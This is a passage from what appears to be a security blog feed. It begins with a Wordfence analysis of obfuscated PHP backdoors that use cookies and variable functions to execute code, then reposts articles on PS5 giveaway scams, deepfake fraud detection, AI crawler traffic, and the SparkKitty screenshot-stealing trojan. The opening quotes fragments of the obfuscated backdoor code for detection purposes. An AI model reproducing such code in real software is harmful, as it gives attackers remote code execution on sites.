We then have several additional assignments with function calls. Just like in the first sample, the script uses a variable function with an argument and stores that in the cookie that previously contained the argument.

($p[34]=$p[40]($p[34]));

A slightly longer expression prepares the function $p() and executes it. If the original cookie check failed, this just simply returns the cookies.

($p=$p[34]($p[37],$p[40]($p[92])))&&$p()):$p;

This sample’s use of a ternary if-statement makes it a little harder to read, but its functionality is similar to the other two scripts.

Malware Detection Strategies

The signatures written to detect the aforementioned samples had over 30,000 detections in the month of September, 2025. The three samples presented in this post are just a few of the many variants we see. They share some common traits that help identify them as malicious and help improve detection.

More specifically, we can identify the following characteristics:

  • The samples tend to be short, dense, and heavily obfuscated. Normally, code written by humans uses meaningful variable names and indentation. AI, such as Claude and ChatGPT, tend to follow those standards as well.
  • The code examples make excessive use of array lookups, concatenation, assignments or cookies
  • Some cookie checks are added in order to prevent others from using this script
  • Variable function use is present

Given that these samples can execute any function the attacker wants them to, it would be difficult to go far with traditional detection signatures. Instead, we need to target what is unusual about these samples and leverage that for detection.

We have dozens of signatures targeting these and other types of behavior. While our detection capabilities are robust, we are always on the lookout for new malware variants. If you encounter malware on your site that is undetected by Wordfence, please send it to samples@wordfence.com so we can add it to our corpus and write detection signatures for it.

Conclusion

In today’s blog post, we highlighted several samples that make use of variable functions and cookies to execute code remotely. We outlined ways in which these and other shared characteristics can help improve malware detection. While this is not a novel approach to malware obfuscation, it remains relevant as thousands of these files are detected by these malware signatures every month.

Scams – What Attackers Want and How to Stay Safe

Posted on

[Ed. note: This article is specifically about PlayStation 5 scams, but the general principles apply to the vast multitude of scams you’ll run across]

Who doesn’t want a free PlayStation 5? This is exactly the simple reasoning behind the free PS5 scam that reguljarly shows up on social media, Facebook Marketplace and many other sites.

You would think that someone offering a free PlayStation 5 is immediately suspicious, and you would be right. If you’re walking down the street and a stranger offers you a free gaming console, you would turn it down because it’s beyond suspicious.

The same reasoning doesn’t always apply online, although the conditions are similar. People tend to be more trusting online, and scammers know this all too well. They craft compelling stories that all of a sudden start to make sense, making that free PS5 look possible.

The Scam

Obviously, no one gives away free gaming consoles, but that doesn’t mean that scammers are not going to try. This scam is still prevalent for a simple reason: it works. That’s the same reason some scams only last a short while, seemingly disappearing forever: they didn’t have the desired return.

The scam itself might seem straightforward, but it’s actually a very complex combination of elements of social engineering, and the criminals’ goals are not always the same.

In most situations, the scammer tells some sort of sad story that’s very well thought out and might even sound reasonable. For example, they might say their only son just passed away and they are giving away some of their items, apparently now knowing the real value of a gaming console.

Playing on people’s empathy is a successful tactic, but it’s not the only one. Scammers might also claim that it’s a giveaway in celebration of the company’s anniversary, a milestone (like reaching a certain number of followers or subscribers), or some other special event.

Using the names of known influencers who are supposedly sponsoring the giveaway is another well-known tactic. The same goes for fake testimonials or reviews from supposed winners, and they might go so far as to create fake websites that look very much like the official ones.

Whatever the case, a sense of urgency is always present. Potential victims are rushed to make decisions because there’s little time. Or at least this is what criminals want people to believe.

What scammers are actually after

For the most part, scammers want to make money, but not necessarily in the most obvious way. The crudest way to extract money is by convincing victims that they only have to pay the shipping, thus giving money directly to the perpetrator.

More complex frauds go a lot further, and scammers set up fake websites to extract much more than a shipping fee. They might ask for personal details such as full names, addresses, phone numbers, and even Social Security Numbers. Or they could set up an online payment portal that looks legitimate but is designed to extract credit card details, including the CVV number on the back of the card.

Many scams involve asking for a small fee to cover shipping or processing costs. While the initial amount seems negligible, it leads to unauthorized recurring charges that could increase significantly.

It’s also worth noting that criminals might spread malware by tricking people on clicking on links or opening email attachments.

The sob stories of this scam are pretty much the same

One of the most common stories told by scammers is that of a dead son. They don’t ask for money right away. They have real pictures of a gaming console, and you only have to send them a direct message.

“I lost my son in car accident about a week ago,he was a strong kid and fought a good fight but God knows best I bought him a Playing station 5 unfortunately he never got a chance to see it. I’m willing to give out the game station out to someone around me as a gift to you seeing it hurts my soul send me a DM if you want the gaming system”

“My son died last week, he was hit by a running car and my daughter doesn’t like playstation. My heart bleeds everyday I bought a PS5 for him and he never get to see it so I want to give out the PS5 out for free to someone who need it and can’t afford to buy a game system pm me”

Some of the messages are not written in proper English and have weird capitalizations, showing that many of these scams originate from countries that have entire industries devoted to Internet fraud.

“I’m giving out my Son’s PS5 to someone in need and can’t Afford it. I Lost my son a month ago to an Unintentional Injury, and I don’t want to keep remembering that him it’s hurt me so bad seeing the Console while he, so I’ve decided to Give it out…… thank y’all for the prayers….”

PlayStation 5 scams – how to stay safe

First of all, it’s worth remembering that no one offers free consoles out of the blue. This simple fact should make everyone suspicious immediately. Always be skeptical, even if the offers seem to come from some big company or influencer.

Pay attention to inconsistencies and red flags, such as unusual URLs, poor grammar, or unrealistic offers. Also, be cautious of any offer that creates a sense of urgency or pressures you to act quickly. Scammers often use this tactic to prevent potential victims from thinking critically.

Thirdly, you need to install reliable security software that can warn you about phishing sites and block malicious content. Solutions such as Bitdefender Ultimate Security will ensure that you’re always protected and that you can live a scam-free digital life.

There’s also Bitdefender Scamio, a next-gen AI scam detector designed to ensure all possible scenarios are covered. For example, you can upload the text from a Facebook Marketplace ad that seems too good to be true and immediately know if it’s a scam.

Scamio can be used as a standalone chat solution or in WhatsApp or Messenger. Users can also upload images, QR codes, links and text to get feedback. Don’t leave anything to chance, especially since Scamio is free to use.

Deepfake detectors are slowly coming of age, at a time of dire need

Posted on

By video, picture, and voice – the fakers are coming for your money

While AI was on everyone’s lips in Las Vegas this week at the trio of security conferences in Sin City – BSides, Black Hat, AND DEF CON – there were a lot of people using the F-word too: fraud.

The plummeting cost of using AI, coupled with the increasing sophistication of deepfakes and electronic communications becoming the norm, means that we’re likely facing a massive amount of machine-learning mayhem. Deloitte estimates deepfake fraud will cost the US up to $40 billion by 2027, but everyone we’ve spoken to thinks that’s an underestimation.

Sam Altman’s comment last month that “AI has fully defeated most of the ways that people authenticate currently, other than passwords,” has ruffled some feathers in the security industry, with various vendors selling software that they claim does just that. But others are more cautious about its capabilities.

Karthik Tadinada, who spent over a decade monitoring fraud for the UK’s biggest banks when he worked at Featurespace, said that the anti-deepfake detection technology he has encountered manages about a 90 percent accuracy rate for spotting crime and eliminating false positives. That may sound good but it really shows the scale of the problem for the future.

“The economics of people generating these things versus what you can detect and deal with, well actually that 10 percent is still big enough for profit,” said Tadinada, who notes the costs of generating ID are only going to fall further.

Video impersonation predates AI, and Tadinada recounted cases where security teams had spotted fakers in high-quality silicone masks, but said that machine learning has turbocharged this. He and fellow speaker Martyn Higson, who also is ex-Featurespace, demonstrated the easy overlay of the face of British Prime Minister Keir Starmer on Higson’s body and a pretty good mimicry of his voice, all just using a MacBook Pro.

This wasn’t good enough to fool anti-scanning technology – AI tends to make the jowls more puffy and stiffen up the appearance of human faces – but it would certainly be good enough for propaganda or misinformation. This was demonstrated this week when journalist Chris Cuomo posted a deepfake video of US Representative Alexandria Ocasio-Cortez (D-NY) apparently accusing actress Sydney Sweeney of “Nazi propaganda,” before pulling it and apologizing.

Mike Raggo, the red team leader for media monitoring biz Silent Signals, agreed, pointing out that the quality of video fakes has improved drastically. But new techniques were going mainstream that might detect such fakes more easily.

He does have skin in the game. Silent Signals developed a free Python-based tool, dubbed Fake Image Forensic Examiner v1.1, for the launch of GPT-5 by OpenAI last week. This will take an uploaded video and sample frames one at a time to look for manipulation, such as blurring on the edges of objects in the video, comparing the first, last, and middle frames for background anomalies.

In addition, examining the metadata is absolutely key. Video manipulation tools, both commercial and open source, typically leave traces of code in the metadata, and a good detection engine must have the ability to perform such searches.

Paint me a picture

All three speakers agreed that images are probably the most worrying method for fraudsters to use, not only because of the ease with which they are being created, but also the increasing reliance businesses are placing on them.

Tadinada’s experiences in the banking sector made him particularly concerned about manipulated images being used in large-scale fraud. The COVID lockdown made people less willing to do banking in person and some financial institutions plunged into electronic records without considering the possibilities for fraud.

For example, to open a bank account in the UK, you’ll need to show documents such as a valid ID and a recent utility bill. Both are easily forged, as he demonstrated on stage, and can be difficult to spot electronically. Raggo agreed, particularly after visiting those announcing deepfake detection tools this week, but said there are some promising areas of deepfake spotting in evidence.

“I saw a couple of vendors at Black Hat,” Raggo told The Register. “I personally wouldn’t comment on them until I had a chance to actually test them properly but from what I saw and some of the demos that were going on, they looked interesting.”

Whichever tool people use, there are key things that it must do, Raggo argued, starting with metadata analysis. The metadata generated by AI, for example, usually lacks key code such as its International Color Consortium (ICC) profile, showing the color balance used and there is often vendor-specific metadata, such as Google’s habit of embedding “Google Inc” in the metadata of all Android images.

Edge analysis is also key, he suggested. This involves investigating the edges of objects in the picture to examine for blurring or inconsistencies in their brightness. Pixel variance – the amount by which colors in an object vary – can also be used to spot manipulation.

Going by the voice

Such techniques aren’t as useful in spotting voice deepfakes, however, and these kinds of vocal attacks are on the rise.

In May the FBI warned that a fraud campaign using AI-generated voices of US politicians was being used to trick people into handing over access to government systems from which financial information could be extracted. But the FBI’s advice to counter this was non-technical – telling users they should verify the source separately and listen for any inconsistencies in vocabulary or accent, while acknowledging that “AI-generated content has advanced to the point that it is often difficult to identify.”

It’s not the only American federal agency that is worried about the spread of voice cloning. Last year the Federal Trade Commission sponsored a year-long competition to detect AI-generated voices, but was only paying a measly $35,000 in prize money.

There are perfectly legitimate uses for such voice cloning technologies, such as for transcription, adding voice dubbing in media, and adding speech capabilities to bots in call centers. Microsoft has it as a function of Azure producing watermarked clone outputs (although these are far from perfect) and when The Register tested a voice generator from Silicon Valley startup Zyphra, the results were disturbingly good.

Such technology, however, can also be a huge help to fraudsters. If someone uses a recorded voice sample it is possible to generate a clone without the subject’s knowledge and the longer the audio sample, the better the clone is likely to be.

A study by the non-profit publication Consumer Reports into six companies offering voice cloning services found two-thirds of them made little attempt to stop the abuse of their applications – users simply had to tick a box to say that they had a legal right to clone the voice sample.

Only one of the companies tested, Resemble AI, actually required a real-time audio clip to use the service, although testers did manage to fool it some of the time with recorded audio. However, the results using this third-party audio were not as accurate due to sound issues.

Many voice-cloning businesses have also started adding deepfake detection to their product portfolios, including Resemble. CEO Zohaib Ahmed told The Register that the data cloning companies have in their servers can generate valuable fake-spotting tools.

“We’ve got a large database of real and cloned voices and comparing and contrasting them yields some valuable insights,” he said. “We’ve identified a series of artifacts, some undetectable to the human ear, that make spotting fakes easier.”

The sanity test and the rise of the GANs

As we’ve seen in the traditional security sphere, there’s no 100 percent technological fix for spotting malware and hacking, and so it is for deepfakes. Just as you can’t stop an absent-minded human from clicking on a malware-laden file, so too we can’t expect people never to be fooled by deepfakes.

“You’ve got to have a sense of precaution,” red team leader at Sophos Eric Escobar told The Register. “Verification is absolutely key, particularly if money is involved. Ask yourself ‘Is this in character?’ and then check if you’re at all uncertain.”

This is particularly relevant to the finance industry, Tadinada suggested. The use of deepfake scanning technology is all well and good, but financial transactions also need to be monitored as an indication of their use, as is the case with other types of fraud.

The use of Generative Adversarial Networks (GANs) to improve deepfakes is something that worried everyone we spoke to. GANs use two AI engines, a generator and a responder to make fake output more convincing. The generator creates media, the responder tries to spot manufactured content, and the two continue this process to improve the realism of the output.

The results aren’t perfect, and the process can currently leave tell-tale signatures in the deepfake’s metadata, Raggo noted. But the technology promises to produce ever-more realistic results and will lead to fraudsters having more success.

Source: https://www.theregister.com/2025/08/11/deepfake_detectors_fraud/

Keeping the Web Up Under the Weight of AI Crawlers

Posted on

If you run a site on the open web, chances are you’ve noticed a big increase in traffic over the past few months, whether or not your site has been getting more viewers, and you’re not alone. Operators everywhere have observed a drastic increase in automated traffic—bots—and in most cases attribute much or all of this new traffic to AI companies.

Background

AI—in particular, Large Language Models (LLMs) and generative AI (genAI)—rely on compiling as much information from relevant sources (i.e., “texts written in English” or “photographs”) as possible in order to build a functional and persuasive model that users will later interact with. While AI companies in part distinguish themselves by what data their models are trained on, possibly the greatest source of information—one freely available to all of us—is the open web.

To gather up all that data, companies and researchers use automated programs called scrapers (sometimes referred to by the more general term “bots”) to “crawl” over the links available between various webpages and save the types of information they’re tasked with as they go. Scrapers are tools with a long, and often beneficial, history: services like search engines, the Internet Archive, and all kinds of scientific research rely on them.

When scrapers are not deployed thoughtfully, however, they can contribute to higher hosting costs, lower performance, and even site outages, particularly when site operators see so many of them in operation at the same time. In the long run all this may lead to some sites shutting down rather than bearing the brunt of it.

For-profit AI companies must ensure they do not poison the well of the open web they rely on in a short-sighted rush for training data.

Bots: Read the Room

There are existing best practices those who use scrapers should follow. When bots and their operators ignore these guideposts it sends a signal to site operators, sometimes explicitly, that they can or should cut off their access, impede performance, and in the worst case it may take a site down for all users. Some companies appear to follow these practices most of the time, but we see increasing reports and evidence of new bots that don’t.

First, where possible, scrapers should follow instructions given in a site’s robots.txt file, whether those are to back off to a certain crawling rate, exclude certain paths, or not to crawl the site at all.

Second, bots should send their requests with a clearly labeled User Agent string which indicates their operator, their purpose, and a means of contact.

Third, those running scrapers should provide a process for site operators to request back-offs, rate caps, exclusions, and to report problematic behavior via the means of contact info or response forms linked via the User Agent string.

Mitigations for Site Operators

Of course, if you’re running a website dealing with a flood of crawling traffic, waiting for those bots to change their behavior for the better might not be realistic. Here are a few suggested, if imperfect, mitigations based in part on our own sometimes frustrating experiences.

First, use a caching layer. In most cases a Content Delivery Network (CDN) or an “edge platform” (essentially a newer iteration of a CDN) can provide this for you, and some services offer a free tier for non-commercial users. There are also a number of great projects if you prefer to self-host. Some of the tools we’ve used for caching include varnish, memcached, and redis.

Second, convert to static content to prevent resource-intensive database reads. In some cases this may reduce the need for caching.

Third, use targeted rate limiting to slow down bots without taking your whole site down. But know this can get difficult when scrapers try to disguise themselves with misleading User Agent strings or by spreading a fleet of crawlers out across many IP addresses.

Other mitigations such as client-side validation (e.g. CAPTCHAs or proof-of-work) and fingerprinting carry privacy and usability trade-offs, and we warn against deploying them without careful forethought.

Where Do We Go From Here?

To reiterate, whatever one’s opinion of these particular AI tools, scraping itself is not the problem. Automated access is a fundamental technique of archivists, computer scientists, and everyday users that we hope is here to stay—as long as it can be done non-destructively. However, we realize that not all implementers will follow our suggestions for bots above, and that our mitigations are both technically advanced and incomplete.

Because we see so many bots operating for the same purpose at the same time, it seems there’s an opportunity here to provide these automated data consumers with tailored data providers, removing the need for every AI company to scrape every website, seemingly, every day.

And on the operators’ end, we hope to see more web-hosting and framework technology that is built with an awareness of these issues from day one, perhaps building in responses like just-in-time static content generation or dedicated endpoints for crawlers.

Source: https://www.eff.org/deeplinks/2025/06/keeping-web-under-weight-ai-crawlers

You should probably delete any sensitive screenshots you have in your phone right now.

Posted on

A new Trojan malware is targeting sensitive information, including crypto wallet seed phrases.

It’s generally not a good idea to keep screenshots of sensitive information on your phone, but you should probably delete them, especially if they’re related to your crypto wallet.

A new Trojan spy known as SparkKitty targets information from screenshots stored in your gallery. This spy, likely connected to the infamous SparkCat data stealer that emerged earlier this year, focuses on sensitive data, such as seed phrases for crypto wallets. The new Trojan was first mentioned on SecureList by Kaspersky.

According to Kaspersky, the malware targets iOS and Android devices. While the malware spread from the App Store and Google Play Store (and has been removed from both), it’s also spreading naturally.

What is SparkKitty?

Here’s how the malware works. Kaspersky said it identified one version of the Trojan that copies all images in your gallery and another that uses OCR to find images specifically related to financial information.

If you have any cryptocurrency, you were probably encouraged to write down a seed phrase when you created your wallet and store it in a secure, offline location. This phrase is crucial for restoring a wallet and its contents on a device other than the original, which makes it an attractive target for thieves. While writing the phrase down is optimal, many people take a screenshot to remember it later.

The malware comes from legitimate-looking downloads, including messaging apps, crypto trading apps, modded TikTok clones, fake online cryptocurrency stores, gambling apps, adult-themed games, and casino apps.

If you accidentally install the software, it searches your gallery and sends your data to nefarious parties who can wipe out your wallet or target your other accounts. 

How to keep safe from SparkKitty


If you want to keep yourself protected from this (or any other) malware, there are a few steps you can take:

  • Go to your phone’s settings and check each app’s permissions. Revoke access to camera, photos, storage, and accessibility features unless the app needs it (for example, a wallpaper app doesn’t need access to your files). 
  • Only install apps from official app stores like the Google Play and the App Store (but even then, be aware that malware can slip through, as SparkKitty did).
  • Don’t save screenshots of sensitive information, such as IDs, passports, crypto wallets, seed phrases, passwords, and two-factor authentication backup codes. Either delete this data or move the screenshots to a password-protected folder.

Source: https://www.zdnet.com/article/you-should-probably-delete-any-sensitive-screenshots-you-have-in-your-phone-right-now-heres-why/